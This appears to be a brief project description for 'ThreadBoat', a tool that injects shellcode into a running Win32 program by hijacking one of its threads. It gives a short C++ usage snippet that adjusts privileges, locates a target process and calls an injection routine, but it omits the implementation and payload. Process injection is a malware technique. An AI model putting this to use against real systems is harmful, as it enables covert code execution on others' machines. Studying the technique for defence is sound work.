ThreadBoat : Program Uses Thread Execution Hijacking to Inject Native Shellcode into a Standard Win32 Application

ThreadBoat program uses Thread Hijacking to Inject Native Shellcode into a Standard Win32 Application. I developed this small project to continue my experiences of different code injection methods.

With Thread Hijacking, it allows the hijacker.exe program to susepend a thread within the target.exe program allowing us to write shellcode to a thread.

ThreadBoat Usage

int main()
{
System sys;
Interceptor incp;
Exception exp;
sys.returnVersionState();
if (sys.returnPrivilegeEscalationState())
{
std::cout << “Token Privileges Adjusted\n”;
}
if (DWORD m_procId = incp.FindWin32ProcessId((PCHAR)m_win32ProcessName))
{
incp.ExecuteWin32Shellcode(m_procId);
}
system(“PAUSE”);
return 0;
}
